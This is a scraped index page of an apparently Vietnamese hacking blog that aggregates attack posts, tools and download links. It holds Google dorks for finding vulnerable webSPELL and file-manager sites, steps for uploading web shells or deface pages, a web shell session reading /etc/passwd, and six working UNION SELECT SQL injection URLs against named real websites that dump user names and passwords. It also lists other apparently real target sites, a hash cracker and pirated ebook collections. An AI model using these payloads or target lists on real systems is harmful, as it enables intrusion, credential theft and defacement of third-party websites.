WebShell remote Configuration excution

webShell 4.O remote Configuration excution

vulnerable url : http://website.com/picture.php?file=_mysql.php

WebShell remote Configuration excution | Juno_okyo's Blog

Dorks : ext:php intitle:webSPELL v4.0

"inurl:/picture.php?file="

Find vulnerable website and goto http://website.com/picture.php?file=_mysql.php

you'll get a Blanck Page

press ctrl+U and view source

you'll find something like this

Now connect to database and do whatever you want
Live demo :

http://www.echoes-guild.com/picture.php?file=_mysql.php

http://www.crazyfungamer.de/picture.php?file=_mysql.php

http://www.dj-pedrofernandez.de/cgi//picture.php?file=_mysql.php

http://r0fld2.uw.hu/picture.php?file=_mysql.php

http://www.street.clanfusion.de/picture.php?file=_mysql.php

Xem Thêm

CK Hash Cracker

CK_HASH_CRACKER VERSION 3.0 Download Link: Click Here

__Change Log__
Hash Identifier Modified
Online Database Checker Bug Fixed And Works Faster
Offline Database Search Engine Modified
Rainbow Table Algorithm Added

How To Add Additional Database Release?

After Installation with the Default Settings, A Folder Named CK_Hash_Cracker Verion 3.0 will be Created in Root Directory/Program Files, which is mostly C: Drive, So that path will Be C:\Program Files\CK_Hash_Cracker-Version 3.0; under This Folder There Are Two Folders Named "Brute" And "DatabaseConnector"

Files Under "Brute" Folder Is Used For BruteForcing, Make Sure If You Place Additional WordList, You Do Not Have Duplicate Words, Otherwise It will just increase the Time. You Can Place Files With Any Name Under This Folder, It Will Work Fine, until the Files Are in Readable Format

Files Under "DatabaseConnector" Are The Offline Database, So For Any Database Releases, After Downloading Databases, Put The Files Under "DatabaseConnector" Folder And Thats It, The Tool Will Automatically Upgrade The Database.

Its Has A Self-Installer, So To Install, Just Run The Setup file. To Uninstall, You Can Remove It From Control Panel Or From The Self Uninstaller.

If You Get Error At Run-Time, Probably You Do Not Have The Microsoft Visual C++ 2008 Installed, The Application doesn't need Python To Run, But It Needs The Run-Time Components. You Get The Download Packages From Here:

For Windows 32 bit: Click Here

For Windows 64 bit: Click Here

And Then Try Running The Application.CK_Hash_Cracker (Version 3.0) Download Link: Click Here

Xem Thêm

"Testing Image collection" shell and files upload vulnrablity

Dorks : inurl:"modules/filemanagermodule/actions/?picker.php??id=0"
intitle:"Testing Image Collections"

Goto Google or Bing and Type Dork inurl:"modules/filemanagermodule/actions/?picker.php??id=0" or intitle:"Testing Image Collections"
now see search results in google or bing search ..
select any site from search results and look for upload option

Now select your shell or deface page and upload it

To view your upload shell or deface go to:
http://website.com/files/yourfilehere or
http://websites.com/path/yourfilehere

Example -
http://www.dogandduckfc.com/newsite/modules/filemanagermodule/actions/picker.php?id=0

Xem Thêm

Exidous CMD Shell

Connect to shell
Exidous CMD Shell | Juno_okyo's Blog

Connected

XSA Tool

Getting Username
Exidous CMD Shell | Juno_okyo's Blog

Going to that directory
Exidous CMD Shell | Juno_okyo's Blog

Dir Listing
Exidous CMD Shell | Juno_okyo's Blog

Just For Fun (/etc/passwd)

Download

Xem Thêm

Smart Hunter v.1.4.3 Public Version

Download : http://adf.ly/FRrSF

Xem Thêm

6 Random Injections

1 

Mã:


http://www.elansystems.co.za/product-item.php?product_items_id=-11
 UNION SELECT 
1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,group_concat(username,
​0x3b,password),5,6,7,8,9,10 from users_tbl--

Mã:


http://www.nbjm-sprayer.com/products.php?id=-1
 UNION SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,group_concat(username,0x3b,password),18,1
​9,20,21,22,23 from user_table--

Mã:


http://www.mcdonaldlawoffice.net/story.php?articleid=-8
 UNION SELECT 
1,2,group_concat(name,0x3b,password),4,5,6,7,8,9,10,11,12,13,14,15,16 
from users--

Mã:


http://localtime.biz/product.php?cat_id=-1
 UNION SELECT 
1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(email,0x3b,
​pwd,0x3c,0x62,0x72,0x3e),4 from users--

Mã:

http://www.eltee.de/kolumnen_id.php?id=-30175 UNION SELECT 1,2,3,4,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),6,7,8--

Mã:


http://www.media4world.de/mini_d/list_art.php?shop=-5
 UNION SELECT 
group_concat(username,0x3b,kwort,0x3b,admin,0x3c,0x62,0x72,0x3e) from 
user--

Xem Thêm

Projects CEH 95MB

http://data.ceh.vn/download/projects-ceh.vn.rar

Pass: giải nén : ceh.vn

Xem Thêm

The Debian Administrator’s Handbook

The BackTrack Team is proud to have contributed 1000 EUR to the Debian Administrator’s Handbook liberation fund. This book, written by two Debian developers, is a welcome addition to any administrator’s bookshelf. Debian is very popular on servers and it’s also the base distribution from which BackTrack is forged.
Security is not in rest in this book since a full chapter is dedicated to the topic. It covers setting up a firewall, monitoring, intrusion detection systems, setting up SELinux policies, dealing with a compromised machine, and gives many thoughful advice to define a security policy within your organization.

The authors have pledged to release the book under an open source license if the associated “liberation fund” reaches 25,000 EUR. Today, there’s less than 3,000 EUR to raise and we invite you to contribute as well. By giving 10 EUR or more, you’ll get a copy of the ebook as soon as it’s available (even if the liberation fund is not completed). Click here to contribute now.

The book is planned to be released in April but in the mean time you can have a peek at a sample chapter and the full table of contents. We have no doubt that this book will provide a solid foundation to all those looking to better understand Debian, BackTrack and Linux at large.

Nguồn: backtrack-linux.org

LINKDOWN EBOOK

Trích dẫn: http://debian-handbook.info/get/now/

http://www.fshare.vn/file/T059CNM8ST/

Xem Thêm

- Site lỗi SQL

Xem Thêm

Ebook Collection [Linux, Exploits, Networking, Programming]

EBOOKS INCLUDED

Exploit Folder

Extreme Exploits - Advanced Defenses Against Hardcore Hacks
Hacking - The Art Of Exploitation
Shellcoder's Programming Uncovered
The Shellcoder's Handbook - Discovering And Exploiting Security Holes

Programming Folder

Hacker Disassembling Uncovered
Learning PHP & MySQL
Michael - Mastering UNIX Shell Scripting

C / C++

C By Example
C In a Nutshell
C Primer Plus, 5th Edition
C-C++ Programmer's Reference, 3rd Edition
Cryptography In C And C++
Effective C++, 3rd Edition
Optimizing C++
Programming Embedded Systems In C And C++
Secure Programming Cookbook For C And C++

Linux

Assembly Language Step-By-Step - Programming With DOS And Linux, 2nd Edition
Beginning Linux Programming
Burtch - Linux Shell Scripting with Bash
Glass,Ables - Linux for Programmers and Users
Guide To Assembly Language Programming In Linux
Korn Shell Unix and Linux Programming Manual,
Matthew - Beginning Linux Programming
Mitchell - Advanced Linux Programming
Wall - Linux Programming Unleashed

Perl

Advanced Perl Programming, 2nd Edition
Beginning Perl Web Development - From Novice To Professional
Intermediate Perl
Learning Perl Objects, References, & Modules
Learning Perl, 4th Edition
Minimal Perl For UNIX And Linux People
Perl Best Practices
Perl Hacks - Tips And Tools For Programming Debugging And Surviving
Perl Medic - Transforming Legacy Code

Hacking Folder

Hacker Linux Uncovered
Hacker's Delight
Hacker's Guide
Hacker's Handbook
Hackers_Secrets
Hacking Exposed - Network Security Secrets & Solutions, 2nd Edition
Hacking For Dummies
Honeypots - Tracking Hackers
The Art Of Intrusion - The Real Stories Behind The Exploits Of Hackers, Intruders, And Deceivers

Web

Firefox Hacks - Tips & Tools For Next-Generation Web Browsing
Google Hacking For Penetration Testers
Google Hacks, 3rd Edition
Hacker Web Exploitation Uncovered
Web Hacking - Attacks And Defense

Networking Folder

Advanced Linux Networking
Hack The Stack - Using Snort And Ethereal To Master The 8 Layers Of An Insecure Network
OpenVPN - Building And Integrating Virtual Private Networks

Programming

Illustrated TCP-IP - A Graphic Guide To The Protocol Suite
Prentice Hall - Internetworking with TCP-IP, Volume I - Principles, Protocols and Architecture
Prentice Hall - Internetworking with TCPIP - Vol 3 Client-Server Programming and Applications for the BSD Sockets Version.
Tcp Ip For Dummies
TCP-IP Foundations (2004)
TCP-IP Network Administration,
TCPIPTools
Understanding TCP-IP
Unix Network Programming - Volume I - The Sockets Networking API,

Security

Cryptography And Network Security,
Designing And Implementing Linux Firewalls And QoS
Firewall Policies And VPN Configurations
Fundamentals of Network Security
LANSecurity
Maximum Computer Security-A Hacker's Guide to Protecting Your Internet Site and Network
McGraw Hill - Hacking Exposed - Network Security, Secrets and Solutions, 3rd Ed
Network Security Assessment - From Vulnerability To Patch
Network Security Hacks - 100 Industrial-Strength Tips & Tools,
Network Security With OpenSSL
Self-Defending Networks - The Next Generation Of Network Security

Unix Folder

BSD

Absolute BSD - The Ultimate Guide To FreeBSD
Absolute OpenBSD - Unix For The Practical Paranoid
Embedded FreeBSD Cookbook (2002)
Learning the UNIX Operating System
Mastering FreeBSD And OpenBSD Security
SysAdmin - Security Tools in FreeBSD
Teach Yourself FreeBSD In 24 Hours
The Complete FreeBSD, 4th Edition
The OpenBSD 4.0 Crash Course
Unix Power Tools, 3rd Edition

Kernel

linuxKernelSux
OReilly.Understanding.The Linux Kernel 1st Edition
Understanding The Linux Kernel, 3rd Edition

Linux

A Practical Guide To Linux Commands, Editors, And Shell Programming
Get_Acquainted_with_Linux_Security_and_Optimizatio n_System
Hack Proofing Linux - A Guide To Open Source Security
Linux Basic Commands
Linux Kernel Development, 2nd Edition
Linux Kernel module programming guide 1
Linux Shell Scripting With Bash (2004)
Linux_Administration_Made_Easy
Linux_Administrators_Security_Guide
McGraw.Hill.HackNotes.Linux.and.Unix.Security.Port able.Reference.eBook-DDU
OReilly - Linux_Network_Administrator's_Guide_Second_Edition
Sam teach you Linux in 24 hours
Securing Linux A Survival Guide for Linux Security Version 1.0 2003
Securing Linux Servers for Service Providers
SELinux (2004)

Shell

shell-scripting
tcsh
Unix Shell Programming, 3rd Edition (2003)

SQL Folder

Mastering_MySQL_4.2003.Sybex
MySQL - 2nd Edition (Sams)
MySQL - Essential Skills (2004)
MySQL - Visual QuickStart Guide, 2nd Edition (2006)
MySQL Certification Study Guide (2004)
MySQL Cookbook (2002)
MySQL Cookbook
MySQL Pocket Reference (2003)
MySQL Tutorial (2003)
MySQL.PHP.Database.Applications
SQL - A Beginner's Guide, 2nd Edition (2003)
SQL - Practical Guide For Developers (2005)
SQL Bible (2003)
SQL Cookbook (2005)
SQL For Dummies, 6th Edition (2006)
SQL Sams Teach Yourself MySQL in 21 Days -- SAMS
SQL Server 2000

DOWNLOAD

http://www.multiupload.com/0UTEX76FE9

Nguồn: hackforums.net

Xem Thêm

[TUT] SQL dạng HTML

Mất ngủ dậy sớm làm cái tut SQL dạng HTMl cho anh em

Link Download
http://www.mediafire.com/?6hh2ykae8xpuq2q

Hoặc
https://www.box.com/s/3m0xluf10xdhcdw95qzu

kakavn

Trang

WebShell remote Configuration excution

Xem Thêm

CK Hash Cracker

Xem Thêm

"Testing Image collection" shell and files upload vulnrablity

Xem Thêm

Exidous CMD Shell

Xem Thêm

Smart Hunter v.1.4.3 Public Version

Xem Thêm

6 Random Injections

Xem Thêm

Projects CEH 95MB

Xem Thêm

The Debian Administrator’s Handbook

Xem Thêm

- Site lỗi SQL

Xem Thêm

Ebook Collection [Linux, Exploits, Networking, Programming]

Xem Thêm

[TUT] SQL dạng HTML

Xem Thêm

Vài lời cho các bạn !

Chuyên Mục

Bạn Đã Xem Chưa

Bài đăng phổ biến

Liên Kết